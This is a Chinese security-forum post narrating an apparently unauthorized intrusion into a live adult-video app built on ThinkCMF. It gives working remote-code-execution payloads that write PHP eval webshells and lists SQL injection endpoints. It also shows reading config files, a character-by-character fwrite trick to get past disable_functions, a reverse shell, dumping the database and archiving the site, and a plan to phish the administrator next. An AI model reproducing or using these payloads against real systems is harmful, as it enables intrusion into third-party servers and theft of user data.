用户
搜索
  • TA的每日心情
    开心
    2019-11-27 11:49
  • 签到天数: 45 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    46

    主题

    117

    帖子

    839

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-6-19

    i春秋签约作者

    发表于 2020-7-20 16:14:34 1110065
    本文原创作者 0×10,本文属i春秋原创奖励计划,未经许可禁止转载!


    在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片
    1595332663.jpg
    这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。
    这必须盘他。
    打开推广链接(辣眼睛),下载app
    003.jpg
    这app一打开就给人一股熟悉的味道,
    一看感觉很有可能是tp二开的。
    002.jpg
    注册手机号fiddler抓包改包,(其实内容更辣眼睛)
    004.jpg
    抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,
    然而很快被现实打脸
    payload1:

    /index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>

    005.jpg

    payload2:

    /?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>

    004.jpg

    payload3:

    ?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

    然后

    /?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

    最后目录下会生成m.php一句话的,当然也可以写成其他的payload。
    已经确认今天的日志文件是存在的
    007.jpg

    一顿操作猛如虎,一看文件404,难道就要凉凉了?
    008.jpg
    不怕还有注入
    注入点1

    /index.php?g=Appapi&m=Video&videoid=1

    009.jpg
    注入点2.

    /index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

    010.jpg

    注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。。。
    经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪
    :(:(:(
    最后终于出了phpinfo,版本7.2以上
    payload:

    /?a=fetch&content=<?=phpinfo();exit();

    011.jpg
    这不离shell更近一步了。

    然后看disable_functions禁用这么求多,遇求得到。。。
    012.jpg
    这里尝试了用

    assert

    以为成了,结果还是返回1,凉凉~
    013.jpg
    @assert不得行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件

    g01.jpg
    在继续读取config.php文件

    在这里突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id的,
    但现实终究是那么残酷,连aliyun这几个字母都没看到。
    016.jpg

    读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下。
    尝试用file_put_contents
    1595234341(1).jpg
    好像不行,难道是参数问题,file_get_contents都能读任意文件的,或者是目录不可写?
    尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下

    018.jpg

    写入123到i.txt,成了

    001.jpg 002.jpg
    尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了快。
    003.jpg

    仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?
    没错,就是要一个字符一个字符写入:L,最终getshell

    ?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();

    022.jpg

    绕过命令执行,反弹shell
    023.jpg
    然后打包+脱裤

     mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
    tar -cvf 1.tar /www/wwwroot/xxx/

    024.jpg

    以为这就完了 ?
    no
    看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密

    <?php
    function setPass($pass)
    {        
        $authcode = 'rCt52pF2cnnKNB3Hkp';
        $pass = "###" . md5(md5($authcode . $pass));
        return $pass;
    }
    echo setPass('123456')
    ?>
    

    进后台的话,明文加密替管理员密文,或者加密明文去撞。
    感谢各位老板的支持,感谢同事大佬相助力挺!




    围观吃瓜~
    使用道具 举报 回复
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2020-7-21 08:14:45
    膜拜
    使用道具 举报 回复
    发表于 2020-7-21 14:13:39
    使用道具 举报 回复
    发表于 2020-7-21 16:10:28
    使用道具 举报 回复
    发表于 2020-7-21 20:01:20
    哎,没想到这么快就被捅菊花
    使用道具 举报 回复
    发表于 2020-7-22 09:16:53
    最终还是被你给捅了
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2020-7-22 11:29:00
    学习了学习了
    使用道具 举报 回复
    发表于 2020-7-25 13:41:07
    菊花不保喽
    使用道具 举报 回复
    偷偷来看看
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册